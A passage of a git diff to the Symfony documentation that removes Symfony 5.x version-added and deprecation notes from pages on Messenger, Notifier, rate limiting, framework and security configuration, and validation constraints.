-the Redis PHP extension (>=4.3) and a running Redis server (^5.0).
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the Redis transport has moved to a separate package.
-    Install it by running:
+the Redis PHP extension (>=4.3) and a running Redis server (^5.0). Install it by
+running:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/redis-messenger
+    $ composer require symfony/redis-messenger
 
 The Redis transport DSN may looks like this:
 
@@ -1343,10 +1283,6 @@ The Redis transport DSN may looks like this:
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
-.. versionadded:: 5.1
-
-    The Unix socket DSN was introduced in Symfony 5.1.
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
@@ -1401,15 +1337,6 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
     in your case) to avoid memory leaks. Otherwise, all messages will remain
     forever in Redis.
 
-.. versionadded:: 5.1
-
-    The ``delete_after_ack``, ``redeliver_timeout`` and ``claim_interval``
-    options were introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
-
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1490,24 +1417,16 @@ The transport has a number of options:
     Whether to serialize messages or not. This is useful to test an additional
     layer, especially when you use your own message serializer.
 
-.. versionadded:: 5.3
-
-    The ``serialize`` option was introduced in Symfony 5.3.
-
 .. note::
 
-        All ``in-memory`` transports will be reset automatically after each test **in**
-        test classes extending
-        :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
-        or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
+    All ``in-memory`` transports will be reset automatically after each test **in**
+    test classes extending
+    :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+    or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
 Amazon SQS
 ~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The Amazon SQS transport was introduced in Symfony 5.1.
-
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
 
@@ -1534,10 +1453,6 @@ The SQS transport DSN may looks like this:
     name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
     extra API call can be avoided by providing a DSN which is the queue URL.
 
-    .. versionadded:: 5.2
-
-        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
-
 The transport has a number of options:
 
 ======================  ======================================  ===================================
@@ -1561,10 +1476,6 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
-.. versionadded:: 5.3
-
-    The ``debug`` option was introduced in Symfony 5.3.
-
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -2122,10 +2033,6 @@ may want to use:
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The ``router_context`` middleware was introduced in Symfony 5.3.
-
 Add the ``router_context`` middleware if you need to generate absolute URLs in
 the consumer (e.g. render a template with links). This middleware stores the
 original request context (i.e. the host, the HTTP port, etc.) which is needed
diff --git a/notifier.rst b/notifier.rst
index 071cf8fa527..e5762b16ce4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -4,10 +4,6 @@
 Creating and Sending Notifications
 ==================================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 Installation
 ------------
 
@@ -79,23 +75,6 @@ SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 ==============  ====================================  ===========================================================================
 
-.. versionadded:: 5.1
-
-    The OvhCloud, Sinch and FreeMobile integrations were introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
-    and MessageBird integrations were introduced in Symfony 5.3.
-
-.. versionadded:: 5.4
-
-    The MessageMedia integration was introduced in Symfony 5.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -174,21 +153,6 @@ Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  ===========================================================================
 
-.. versionadded:: 5.1
-
-    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
-    5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
-    Webhooks instead of legacy tokens.
-
-.. versionadded:: 5.2
-
-    The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
-    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
-
-.. versionadded:: 5.3
-
-    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
-
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -434,11 +398,6 @@ Symfony provides the following recipients:
     recipient can be used for all channels (depending on whether they are
     actually set).
 
-.. versionadded:: 5.2
-
-    The ``AdminRecipient`` class was removed in Symfony 5.2, you should use
-    ``Recipient`` instead.
-
 Configuring Channel Policies
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index a20dfd6b047..e4591e724d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -4,10 +4,6 @@
 How to send Chat Messages
 =========================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
 
@@ -41,10 +37,6 @@ The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
 
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
@@ -131,10 +123,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/field-method.png
    :align: center
 
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
 Adding a Header to a Slack Message
 ----------------------------------
 
@@ -171,10 +159,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/slack-header.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
 Adding a Footer to a Slack Message
 ----------------------------------
 
@@ -214,10 +198,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/slack-footer.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
 Sending a Slack Message as a Reply
 ----------------------------------
 
@@ -245,10 +225,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/message-reply.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
 Adding Interactions to a Discord Message
 ----------------------------------------
 
diff --git a/notifier/texters.rst b/notifier/texters.rst
index 4cf9b6f2de2..a2cec96012f 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -4,10 +4,6 @@
 How to send SMS Messages
 ========================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::
 
@@ -42,10 +38,6 @@ The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
 
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index ef377c47974..c08323ba5eb 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -18,10 +18,6 @@ For convenience, your data collectors can also extend from the
 class, which implements the interface and provides some utilities and the
 ``$this->data`` property to store the collected information.
 
-.. versionadded:: 5.2
-
-    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
-
 The following example shows a custom collector that stores information about the
 request::
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..9a061dc2def 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -1,11 +1,6 @@
 Rate Limiter
 ============
 
-.. versionadded:: 5.2
-
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
 defensive measure to protect services from excessive use (intended or not) and
@@ -515,10 +510,6 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                 ;
         };
 
-.. versionadded:: 5.3
-
-    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
-
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 99198ce436d..b44b1c0a2af 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -387,10 +387,6 @@ named ``kernel.http_method_override``.
 trusted_headers
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``trusted_headers`` option was introduced in Symfony 5.2.
-
 The ``trusted_headers`` option is needed to configure which client information
 should be trusted (e.g. their host) when running Symfony behind a load balancer
 or a reverse proxy. See :doc:`/deployment/proxies`.
@@ -400,11 +396,6 @@ or a reverse proxy. See :doc:`/deployment/proxies`.
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
-    removed in Symfony 3.3).
-
 The ``trusted_proxies`` option is needed to get precise information about the
 client (e.g. their IP address) when running Symfony behind a load balancer or a
 reverse proxy. See :doc:`/deployment/proxies`.
@@ -499,11 +490,6 @@ some environment variable that stores the name of the IDE/editor:
             $framework->ide('%env(resolve:CODE_EDITOR)%');
         };
 
-.. versionadded:: 5.3
-
-    The option to use env vars in the ``framework.ide`` option was introduced
-    in Symfony 5.3.
-
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs
@@ -990,10 +976,6 @@ will automatically retry failed HTTP requests.
                     retry_failed:
                         max_retries: 4
 
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 auth_basic
 ..........
 
@@ -1096,10 +1078,6 @@ delay
 
 **type**: ``integer`` **default**: ``1000``
 
-.. versionadded:: 5.2
-
-    The ``delay`` option was introduced in Symfony 5.2.
-
 The initial delay in milliseconds used to compute the waiting time between retries.
 
 .. _reference-http-client-retry-enabled:
@@ -1127,10 +1105,6 @@ http_codes
 
 **type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
-.. versionadded:: 5.2
-
-    The ``http_codes`` option was introduced in Symfony 5.2.
-
 The list of HTTP status codes that triggers a retry of the request.
 
 http_version
@@ -1146,10 +1120,6 @@ jitter
 
 **type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
 
-.. versionadded:: 5.2
-
-    The ``jitter`` option was introduced in Symfony 5.2.
-
 This option adds some randomness to the delay. It's useful to avoid sending
 multiple requests to the server at the exact same time. The randomness is
 calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
@@ -1177,10 +1147,6 @@ max_delay
 
 **type**: ``integer`` **default**: ``0``
 
-.. versionadded:: 5.2
-
-    The ``max_delay`` option was introduced in Symfony 5.2.
-
 The maximum amount of milliseconds initial to wait between retries.
 Use ``0`` to not limit the duration.
 
@@ -1215,10 +1181,6 @@ max_retries
 
 **type**: ``integer`` **default**: ``3``
 
-.. versionadded:: 5.2
-
-    The ``max_retries`` option was introduced in Symfony 5.2.
-
 The maximum number of retries for failing requests. When the maximum is reached,
 the client returns the last received response.
 
@@ -1227,10 +1189,6 @@ multiplier
 
 **type**: ``float`` **default**: ``2``
 
-.. versionadded:: 5.2
-
-    The ``multiplier`` option was introduced in Symfony 5.2.
-
 This value is multiplied to the delay each time a retry occurs, to distribute
 retries in time instead of making all of them sequentially.
 
@@ -1298,10 +1256,6 @@ retry_strategy
 
 **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``retry_strategy`` option was introduced in Symfony 5.2.
-
 The service is used to decide if a request should be retried and to compute the
 time to wait between retries. By default, it uses an instance of
 :class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
@@ -1394,11 +1348,6 @@ only_main_requests
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.3
-
-    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``only_master_requests``.
-
 When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
@@ -1529,10 +1478,6 @@ default_uri
 
 **type**: ``string``
 
-.. versionadded:: 5.1
-
-    The ``default_uri`` option was introduced in Symfony 5.1.
-
 The default URI used to generate URLs in a non-HTTP context (see
 :ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 
@@ -1576,12 +1521,7 @@ or ``null`` might be preferred in production.
 utf8
 ....
 
-**type**: ``boolean`` **default**: ``false``
-
-.. deprecated:: 5.1
-
-    Not setting this option is deprecated since Symfony 5.1. Moreover, the
-    default value of this option will change to ``true`` in Symfony 6.0.
+**type**: ``boolean`` **default**: ``true``
 
 When this option is set to ``true``, the regular expressions used in the
 :ref:`requirements of route parameters <routing-requirements>` will be run
@@ -1615,10 +1555,6 @@ To see a list of all available storages, run:
 
     $ php bin/console debug:container session.storage.factory.
 
-.. versionadded:: 5.3
-
-    The ``storage_factory_id`` option was introduced in Symfony 5.3.
-
 .. _config-framework-session-handler-id:
 
 handler_id
@@ -2381,11 +2317,6 @@ package:
                 ->basePath('/images');
         };
 
-.. versionadded:: 5.1
-
-    The option to use an absolute URL in  ``json_manifest_path`` was introduced
-    in Symfony 5.1.
-
 .. note::
 
     This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
@@ -2428,10 +2359,6 @@ enabled_locales
 
 **type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
 
-.. versionadded:: 5.1
-
-    The ``enabled_locales`` option was introduced in Symfony 5.1.
-
 Symfony applications generate by default the translation files for validation
 and security messages in all locales. If your application only uses some
 locales, use this option to restrict the files generated by Symfony and improve
@@ -2545,10 +2472,6 @@ providers
 
 **type**: ``array`` **default**: ``[]``
 
-.. versionadded:: 5.3
-
-    The ``providers`` option was introduced in Symfony 5.3.
-
 This option enables and configures :ref:`translation providers <translation-providers>`
 to push and pull your translations to/from third party translation services.
 
@@ -2573,10 +2496,6 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __get() method <components-property-access-magic-get>` when
 its ``getValue()`` method is called.
 
-.. versionadded:: 5.2
-
-    The ``magic_get`` option was introduced in Symfony 5.2.
-
 magic_set
 .........
 
@@ -2586,10 +2505,6 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __set() method <components-property-access-writing-to-objects>` when
 its ``setValue()`` method is called.
 
-.. versionadded:: 5.2
-
-    The ``magic_set`` option was introduced in Symfony 5.2.
-
 throw_exception_on_invalid_index
 ................................
 
@@ -2992,10 +2907,6 @@ This option also accepts a map of PHP errors to log levels:
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The option to map PHP errors to log levels was introduced in Symfony 5.3.
-
 throw
 .....
 
@@ -3243,12 +3154,6 @@ It's also useful when using `blue/green deployment`_ strategies and more
 generally, when you need to abstract out the actual deployment directory (for
 example, when warming caches offline).
 
-.. versionadded:: 5.2
-
-    Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no
-    longer appended automatically to the value of this option. This allows
-    sharing caches between applications or different environments.
-
 .. _reference-lock:
 
 lock
@@ -3351,10 +3256,6 @@ mailer. A transport name is the key and the dsn is the value.
 message_bus
 ...........
 
-.. versionadded:: 5.1
-
-    The ``message_bus`` option was introduced in Symfony 5.1.
-
 **type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
 
 Service identifier of the message bus to use when using the
@@ -3434,10 +3335,6 @@ recipients set in the code.
 headers
 .......
 
-.. versionadded:: 5.2
-
-    The ``headers`` mailer option was introduced in Symfony 5.2.
-
 **type**: ``array``
 
 Headers to add to emails. The key (``name`` attribute in xml format) is the
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 10e87ca1a67..42060a897ee 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -110,10 +110,6 @@ Build Directory
 
 **type**: ``string`` **default**: ``$this->getCacheDir()``
 
-.. versionadded:: 5.2
-
-    The build directory feature was introduced in Symfony 5.2.
-
 This returns the absolute path of a build directory of your Symfony project. This
 directory can be used to separate read-only cache (i.e. the compiled container)
 from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 63c40da28bd..d711aa2c59c 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -125,9 +125,7 @@ This option is explained in detail in :doc:`/security/access_control`.
 hashers
 -------
 
-This option defines the algorithm used to *hash* the password of the users
-(which in previous Symfony versions was wrongly called *"password encoding"*).
-
+This option defines the algorithm used to *hash* the password of the users.
 If your app defines more than one user class, each of them can define its own
 hashing algorithm. Also, each algorithm defines different config options:
 
@@ -244,11 +242,6 @@ hashing algorithm. Also, each algorithm defines different config options:
                 ->algorithm('sha512');
         };
 
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
 .. tip::
 
     You can also create your own password hashers as services and you can even
@@ -325,9 +318,9 @@ hashing algorithm. Also, each algorithm defines different config options:
 Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
-future, it might select a different hasher.
+It automatically selects the best available hasher, which currently is the
+Bcrypt hasher. If PHP or Symfony adds new password hashers in the future, it
+might select a different hasher.
 
 Because of this, the length of the hashed passwords may change in the future, so
 make sure to allocate enough space for them to be persisted (``varchar(255)``
@@ -367,8 +360,8 @@ used back when they were hashed.
 Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+It uses the `Argon2 key derivation function`_, which PHP supports natively since
+PHP 7.2 version.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
@@ -501,11 +494,6 @@ the ``debug:firewall`` command:
     # about the event listeners for the firewall
     $ php bin/console debug:firewall main --include-listeners
 
-.. versionadded:: 5.3
-
-    The ``debug:firewall`` command was introduced in Symfony 5.3.
-
-
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
@@ -638,8 +626,6 @@ The ``invalidate_session`` option allows to redefine this behavior. Set this
 option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
-.. _reference-security-logout-success-handler:
-
 ``path``
 ~~~~~~~~
 
@@ -657,23 +643,6 @@ The relative path (if the value starts with ``/``), or absolute URL (if it
 starts with ``http://`` or ``https://``) or the route name (otherwise) to
 redirect after logout.
 
-success_handler
-~~~~~~~~~~~~~~~
-
-.. deprecated:: 5.1
-
-    This option is deprecated since Symfony 5.1. Register an
-    :doc:`event listener </event_dispatcher>` on the
-    :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-    instead.
-
-**type**: ``string`` **default**: ``'security.logout.success_handler'``
-
-The service ID used for handling a successful logout. The service must implement
-:class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
-
-If it is set, the logout ``target`` option will be ignored.
-
 .. _reference-security-logout-csrf:
 
 csrf_parameter
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index a83e86aa651..710c437ff55 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -211,10 +211,6 @@ delivery_addresses
 
 **type**: ``array``
 
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
 If set, all email messages will be sent to these addresses instead of being sent
 to their actual recipients. This is often useful when developing. For example,
 by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index fb29a86f8d8..b1bb95d5f2d 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -4,10 +4,6 @@ AtLeastOneOf
 This constraint checks that the value satisfies at least one of the given
 constraints. The validation stops as soon as one constraint is satisfied.
 
-.. versionadded:: 5.1
-
-    The ``AtLeastOneOf`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `constraints`_
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index fbbd693e013..1dff11ca884 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -118,8 +118,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 83b0fabf9b7..de7b776740e 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -131,10 +131,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``schemes``
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 93a4c455a0f..02d4b688dd2 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -440,8 +440,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 787889250ce..dab1a60cea0 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -5,10 +5,6 @@ To the contrary to the other constraints, this constraint cannot be used on its
 Instead, it allows you to create your own set of reusable constraints, representing
 rules to use consistently across your application, by extending the constraint.
 
-.. versionadded:: 5.1
-
-    The ``Compound`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>`
 Options     - `groups`_
@@ -75,12 +71,6 @@ Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure constraints was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate constraints.
-
 You can now use it anywhere you need it:
 
 .. configuration-block::
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index dbb20f953b7..6a508543655 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -126,10 +126,6 @@ Options
 
 **type**: ``integer`` **default**: null
 
-.. versionadded:: 5.1
-
-    The ``divisibleBy`` option was introduced in Symfony 5.1.
-
 Validates that the number of elements of the given collection is divisible by
 a certain number.
 
@@ -144,10 +140,6 @@ a certain number.
 
 **type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.``
 
-.. versionadded:: 5.1
-
-    The ``divisibleByMessage`` option was introduced in Symfony 5.1.
-
 The message that will be shown if the number of elements of the given collection
 is not divisible by the number defined in the ``divisibleBy`` option.
 
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 62bf38bf2ba..99e1d42a2d9 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -93,10 +93,6 @@ Options
 alpha3
 ~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``alpha3`` option was introduced in Symfony 5.1.
-
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index e481c0ce01d..343e0cad467 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -110,10 +110,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`3-letter ISO 4217`: https://en.wikipedia.org/wiki/ISO_4217
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 7376195960a..473c32b8586 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -114,8 +114,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index d9edf839100..8013683b9ec 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -126,8 +126,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ba09d82418d..d3c55dd9de6 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -119,10 +119,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``mode``
 ~~~~~~~~
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 6d0b564841a..780bd2ac4b6 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -299,10 +299,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 0ab308e6bae..d336413099d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -4,10 +4,6 @@ ExpressionLanguageSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. versionadded:: 5.1
-
-    The ``ExpressionLanguageSyntax`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `allowedVariables`_
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 0b0a02bbb60..ac7382f0b4f 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -5,10 +5,6 @@ This constraint ensures that the given value is a valid host name (internally it
 uses the ``FILTER_VALIDATE_DOMAIN`` option of the :phpfunction:`filter_var` PHP
 function).
 
-.. versionadded:: 5.1
-
-    The ``Hostname`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
@@ -126,10 +122,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``requireTld``
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index dcd60e3f408..5af328bb34d 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -126,10 +126,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Bank Account Number (IBAN)`: https://en.wikipedia.org/wiki/International_Bank_Account_Number
